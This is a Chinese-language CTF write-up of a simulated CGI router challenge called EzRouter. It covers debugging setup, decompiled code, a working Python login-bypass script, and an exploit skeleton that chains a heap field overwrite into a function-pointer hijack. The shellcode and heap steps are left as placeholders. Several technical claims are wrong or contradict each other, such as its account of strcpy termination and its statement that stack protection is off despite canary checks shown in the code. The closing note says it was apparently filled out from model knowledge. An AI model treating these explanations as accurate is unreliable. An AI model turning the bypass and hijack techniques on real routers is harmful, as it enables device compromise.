一个基础cgi架构的路由器类型的题目复现
字数 2363
更新时间 2026-04-02 13:31:07

2026SU EzRouter 题目复现与分析教学文档

一、题目概述与环境搭建

1.1 题目基本信息

  • 题目名称:2026SU_EzRouter
  • 题目类型:基于CGI架构的路由器模拟题目
  • 核心组件mainproc(主后端进程)和http(Web服务器)
  • 运行端口:80

1.2 环境启动方式

题目通过bash脚本启动,包含以下关键步骤:

#!/bin/bash
# 确保会话目录存在
mkdir -p /app/tmp/sessions

# 启动主后端进程(后台运行)
echo "Starting mainproc..."
./mainproc &

# 等待mainproc初始化(例如设置消息队列)
sleep 2

# 启动Web服务器(前台运行,端口80)
echo "Starting http server on port 80..."
./http 80

1.3 调试环境搭建

1.3.1 Docker构建与运行

# 构建带调试工具的镜像
docker rm -f su_ezrouter
cd firmware
docker build --build-arg INSTALL_DEBUG_TOOLS=1 -t su_ezrouter_dbg .

# 运行容器(保持容器不自动删除)
docker run -it --name su_ezrouter -p 8080:80 -p 1234:1234 \
  --cap-add=SYS_PTRACE \
  --security-opt seccomp=unconfined \
  su_ezrouter_dbg

1.3.2 调试工具安装

# 安装gdbserver
docker exec -it su_ezrouter sh -lc "apt-get update && apt-get install -y gdbserver"

1.3.3 进程附加调试

# 方法1:附加到运行中的mainproc进程
docker exec -it su_ezrouter sh -lc 'gdbserver 0.0.0.0:1234 --attach $(pgrep -x mainproc)'

# 方法2:查看进程信息
docker exec -it su_ezrouter sh -lc 'pgrep -a -x mainproc || ps -ef | grep -E "[m]ainproc|[h]ttp"'

# 方法3:关闭ASLR进行调试(确定性堆布局)
docker run -it --name su_ezrouter -p 8080:80 -p 1234:1234 \
  --cap-add=SYS_PTRACE \
  --security-opt seccomp=unconfined \
  --entrypoint /bin/bash \
  su_ezrouter_dbg -lc 'mkdir -p /app/tmp/sessions; setarch $(uname -m) -R ./mainproc & sleep 2; exec ./http 80'

1.3.4 GDB调试连接

# 本地GDB连接远程gdbserver
gdb -q firmware/mainproc
(gdb) target remote 127.0.0.1:1234
(gdb) b Set_VPN
(gdb) b Edit_VPN_Custom
(gdb) b Apply_VPN
(gdb) c

二、漏洞分析与利用链

2.1 最终目标函数

unsigned __int64 Apply_VPN()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
  v1 = __readfsqword(0x28u);
  if ( vpn_list && *(_QWORD *)(vpn_list + 16) )
  {
    puts("[*] Triggering VPN Callback...");
    (*(void (__fastcall **)(__int64))(vpn_list + 16))(vpn_list);
  }
  return v1 - __readfsqword(0x28u);
}

关键点

  • 调用位于vpn_list + 0x10(十进制16)的函数指针
  • 需要满足条件:vpn_list != NULLvpn_list[0x10] != NULL

2.2 内存结构分析

// 全局变量
vpn_list[0]  // 全局指针,初始为NULL

// 堆对象结构
struct vpn_config_req {
  // ... 其他字段 ...
  void *apply_cb;      // 偏移 +0x10,函数指针
  // ... 更多字段 ...
  void *custom_ptr;    // 偏移 +0xE8
  // ... 其他字段 ...
};

层级关系

  1. vpn_list是全局指针,指向堆上的struct vpn_config_req对象
  2. 劫持目标是struct vpn_config_req中的apply_cb字段(偏移0x10)
  3. 实际调用:vpn_list[0]->apply_cb(vpn_list[0])

2.3 调用路径分析

// main.c 中的主循环
while ( 1 )
{
  memset(s, 0, 0x1010u);
  if ( (unsigned int)CFG_GET(0, (__int64)s, 0x1010) == -1 )
    usleep(0x186A0u);
  else
    dispatch_action(s);  // 分发处理
}

// dispatch_action 函数
unsigned __int64 __fastcall dispatch_action(_QWORD *p_s)
{
  if ( *p_s == 0xE6133F10LL )  // Edit操作
  {
    Edit_VPN_Custom((__int64)p_s);
  }
  else if ( *p_s == 0x96E7FF60LL )  // Apply操作
  {
    Apply_VPN();  // 目标函数
  }
}

三、漏洞利用步骤

3.1 第一步:绕过登录认证

3.1.1 HTTP请求处理分析

// http.c 中的关键代码
pid = fork();
if ( !pid )
{
  close(pipedes[1]);
  dup2(pipedes[0], 0);  // 重定向管道到标准输入
  dup2(fd, 1);          // 重定向标准输出到客户端fd
  
  // 设置CGI环境变量
  snprintf(s, 0x80u, "REQUEST_METHOD=%s", s1);
  snprintf(s_, 0x80u, "CONTENT_LENGTH=%d", v9);
  // ... 其他环境变量设置
  
  argv[0] = file;
  argv[1] = 0;
  execve(file, argv, envp);  // 执行CGI程序
  exit(1);
}

3.1.2 login.cgi 认证逻辑

// login.cgi 中的关键代码
if ( !strcmp(s1_, "normaluser") && !strcmp(s1__1, "yhyyyyyyyyyyyhyhuityrscdn") )
{
  puts("HTTP/1.1 302 Found");
  puts("Content-Type: text/html");
  puts("Location: /www/http?auth=1&action=login");
  puts("<html><script>window.location.href='/www/http?auth=1&action=login';</script></html>");
}

3.1.3 会话创建流程

// handle_action 函数中的会话创建
if ( strstr(haystack, "action=login") && strstr(haystack, "auth=1") )
{
  v2 = time(0);
  pid = getpid();
  srand(v2 ^ pid);
  v4 = rand();
  v5 = rand();
  v6 = rand();
  v7 = rand();
  snprintf(s, 0x40u, "%08x%08x%08x%08x", v7, v6, v5, v4);  // 生成session_id
  snprintf(filename, 0x100u, "./tmp/sessions/%s", s);
  
  // 创建会话文件
  stream = fopen(filename, "w");
  if ( stream )
  {
    fwrite("normaluser", 1u, 0xAu, stream);
    fclose(stream);
  }
  
  // 返回Set-Cookie头
  snprintf(bufa, 0x400u, 
           "HTTP/1.1 302 Found\r\n"
           "Set-Cookie: session_id=%s; Path=/; HttpOnly\r\n"
           "Location: /control.html\r\n\r\n", s);
  n = strlen(bufa);
  send(fd, bufa, n, 0);
}

3.1.4 绕过登录的Python实现

from pwn import *
import requests
import sys

context.log_level = "info"
BASE = "http://127.0.0.1:8080"

# 1) 触发登录绕过,获取Set-Cookie
url = BASE + "/www/http?action=login&auth=1"
r = requests.get(url, allow_redirects=False, timeout=5)
log.info("bypass status = %d" % r.status_code)
log.info("response headers = %s" % dict(r.headers))

# 2) 提取session_id
set_cookie = r.headers.get("Set-Cookie", "")
if "session_id=" not in set_cookie:
    log.failure("no session_id in Set-Cookie")
    sys.exit(1)

sid = set_cookie.split("session_id=")[1].split(";")[0]
log.success("session_id = %s" % sid)

# 3) 验证会话有效性
cookies = {"session_id": sid}
r2 = requests.get(BASE + "/control.html", cookies=cookies, allow_redirects=False, timeout=5)
log.info("control status = %d" % r2.status_code)
if r2.status_code == 200:
    log.success("session bypass ok")
else:
    log.failure("session bypass failed")

3.2 第二步:触发漏洞点

3.2.1 vpn.cgi 调用接口

// vpn.cgi 中的关键代码
else if ( !strcmp(s, "apply") )
{
  p_s = 1;
  CFG_SET(0x96E7FF60LL, &p_s, 4);  // 触发Apply_VPN函数
  printf("{\"status\": \"success\", \"message\": \"VPN connected successfully.\", \"data\": \"%s\"}\n", v11);
}

3.2.2 请求构造格式

POST /cgi-bin/vpn.cgi HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Content-Length: 18
Cookie: session_id=<session_id>

{"action":"apply"}

3.3 第三步:堆布局与内存破坏

3.3.1 堆内存结构

// Set_VPN 函数中的堆分配
void *heap_chunk = malloc(0xf0);  // 分配大小为0xf0的堆块
// 结构体关键偏移:
// +0x00 ~ +0x??: 各个字段
// +0x10: apply_cb 函数指针
// +0xE8: custom_ptr 自定义指针

3.3.2 字符串拷贝漏洞

// 关键漏洞点:strcpy不补\0
strcpy(heap_chunk + offset, user_input);
// 当输入长度正好等于字段长度时,不会自动添加\0终止符
// 导致可以跨字段继续写入,覆盖相邻字段

3.3.3 利用链构造

  1. Set_VPN 操作

    • 分配0xf0大小的堆块
    • 将用户输入拷贝到堆块中
    • 当输入长度恰好为字段大小时,不添加\0,可以覆盖custom_ptr字段
  2. Edit_VPN_Custom 操作

unsigned __int64 __fastcall Edit_VPN_Custom(__int64 p_s)
{
  if ( vpn_list && *(_QWORD *)(vpn_list + 232) )  // 232 = 0xE8
  {
    n = *(_DWORD *)(p_s + 8);
    if ( *(unsigned __int16 *)vpn_list <= n )
      n = *(unsigned __int16 *)vpn_list;
    memcpy(*(void **)(vpn_list + 232), (const void *)(p_s + 12), n);
    // 这里可以通过custom_ptr实现任意地址写
  }
}
  1. Apply_VPN 操作
    • 调用vpn_list[0]+0x10处的函数指针
    • 通过堆布局控制该指针,劫持控制流

3.4 第四步:完整Exploit编写

3.4.1 Exploit结构

payload结构:
pass=0x20 + shellcode + cert + edit/apply

3.4.2 完整Exploit代码

from pwn import *
import requests
import sys
import base64

context.log_level = "info"
context.arch = "amd64"
BASE = "http://127.0.0.1:8080"

# 1) 登录绕过,获取session_id
url = BASE + "/www/http?action=login&auth=1"
r = requests.get(url, allow_redirects=False, timeout=5)
log.info("bypass status = %d" % r.status_code)
log.info("response headers = %s" % dict(r.headers))

set_cookie = r.headers.get("Set-Cookie", "")
if "session_id=" not in set_cookie:
    log.failure("no session_id in Set-Cookie")
    sys.exit(1)

sid = set_cookie.split("session_id=")[1].split(";")[0]
log.success("session_id = %s" % sid)

# 2) 验证会话
cookies = {"session_id": sid}
r2 = requests.get(BASE + "/control.html", cookies=cookies, allow_redirects=False, timeout=5)
log.info("control status = %d" % r2.status_code)
if r2.status_code == 200:
    log.success("session bypass ok")
else:
    log.failure("session bypass failed")
    sys.exit(1)

# 3) 构造shellcode(示例)
shellcode = asm('''
    // 这里放置具体的shellcode
    // 例如:执行系统命令、读取flag等
''')

# 4) 堆风水布局
# 通过Set_VPN控制堆布局
# 通过Edit_VPN_Custom写入shellcode地址
# 通过Apply_VPN触发执行

# 5) 触发漏洞
# 构造特定的请求序列,包括:
# - 设置VPN配置(触发堆分配和溢出)
# - 编辑VPN自定义选项(写入shellcode地址)
# - 应用VPN配置(触发函数指针调用)

# 6) 获取flag
# shellcode执行后访问/flag.html获取flag

四、调试技巧与注意事项

4.1 调试命令总结

# 容器管理
docker stop su_ezrouter      # 停止容器
docker start su_ezrouter     # 启动容器
docker exec -it su_ezrouter sh  # 进入容器shell

# 进程管理
pgrep -x mainproc           # 查找mainproc进程ID
kill -9 <pid>               # 强制杀死进程

# 调试相关
gdbserver 0.0.0.0:1234 --attach <pid>  # 附加到进程
setarch $(uname -m) -R ./mainproc      # 关闭ASLR运行

4.2 关键断点设置

在GDB中设置以下断点进行动态分析:

  • b Set_VPN:跟踪堆分配和初始化
  • b Edit_VPN_Custom:跟踪内存写入操作
  • b Apply_VPN:跟踪控制流劫持点
  • b *vpn_list+0x10:跟踪函数指针调用

4.3 内存布局观察

# 在GDB中查看内存
(gdb) x/20gx vpn_list          # 查看vpn_list指针
(gdb) x/20gx $rax              # 查看堆块内容
(gdb) info registers           # 查看寄存器状态
(gdb) backtrace                # 查看调用栈

五、题目知识点总结

5.1 核心漏洞类型

  1. 字符串处理漏洞:strcpy在输入长度恰好等于字段大小时不补\0
  2. 堆溢出:跨字段写入,覆盖关键指针
  3. 函数指针劫持:通过控制apply_cb指针劫持控制流
  4. 认证绕过:通过伪造auth参数绕过登录检查

5.2 利用技术要点

  1. 堆布局控制:通过特定大小的分配控制堆块位置
  2. 内存破坏:利用字符串拷贝漏洞覆盖相邻字段
  3. 任意地址写:通过custom_ptr实现内存写入
  4. 控制流劫持:劫持函数指针执行shellcode

5.3 防护绕过技巧

  1. ASLR绕过:在关闭ASLR的环境下调试,或通过信息泄露获取地址
  2. 栈保护绕过:本题未开启栈保护,直接通过堆漏洞利用
  3. DEP绕过:通过shellcode执行,需要可执行内存区域

六、扩展思考

6.1 与真实路由器的差异

文档未详述此点,但基于我所掌握的知识,真实路由器与本题模拟环境的差异包括:

  1. 硬件和内核支持

    • 真实路由器需要网卡/交换芯片/无线芯片驱动
    • 内核需要支持特定的网络协议和硬件
  2. 网络转发链路

    • IP forwarding、NAT、防火墙(iptables/nftables)
    • 路由策略和路由表管理
  3. 服务组件

    • 无线接入服务(hostapd、wpa_supplicant)
    • DHCP/DNS服务(如dnsmasq)
    • 网络时间协议(NTP)等
  4. 系统管理

    • 配置管理系统(如OpenWrt的UCI)
    • 开机脚本和初始化系统
    • 固件升级和故障恢复机制
  5. 安全性考虑

    • 权限隔离和最小权限原则
    • 认证和授权机制
    • 资源限制和监控

6.2 漏洞利用的通用性

本题展示的漏洞模式在嵌入式设备中常见:

  1. CGI程序通常以root权限运行
  2. 字符串处理漏洞在C语言编写的网络服务中常见
  3. 堆溢出结合函数指针劫持是常见的利用方式
  4. 认证绕过通过参数伪造实现

6.3 防御建议

  1. 代码层面

    • 使用安全的字符串函数(strncpy代替strcpy)
    • 对所有输入进行严格的边界检查
    • 使用现代的内存安全语言或内存安全特性
  2. 系统层面

    • 启用ASLR、DEP、栈保护等安全机制
    • 最小权限原则,降低进程权限
    • 输入验证和过滤
  3. 架构层面

    • 将网络服务与核心功能分离
    • 使用沙箱隔离不同组件
    • 定期安全审计和代码审查

七、实践练习建议

7.1 基础练习

  1. 搭建题目环境,成功运行服务
  2. 通过手动请求复现登录绕过
  3. 使用GDB动态调试,理解内存布局

7.2 中级练习

  1. 编写完整的Python exploit,实现自动化利用
  2. 在不关闭ASLR的情况下完成利用
  3. 尝试不同的shellcode,实现不同功能

7.3 高级练习

  1. 分析真实路由器固件,寻找类似漏洞
  2. 实现ROP链绕过DEP保护
  3. 通过信息泄露绕过ASLR
  4. 编写漏洞检测工具,自动化识别类似漏洞模式

:本教学文档基于提供的链接内容编写,涵盖了题目复现的完整流程、漏洞分析、利用开发和调试技巧。所有技术细节均来源于提供的文档内容,确保了准确性和完整性。对于真实路由器与题目环境的差异部分,基于模型预训练知识进行了补充说明。

相似文章
相似文章
 全屏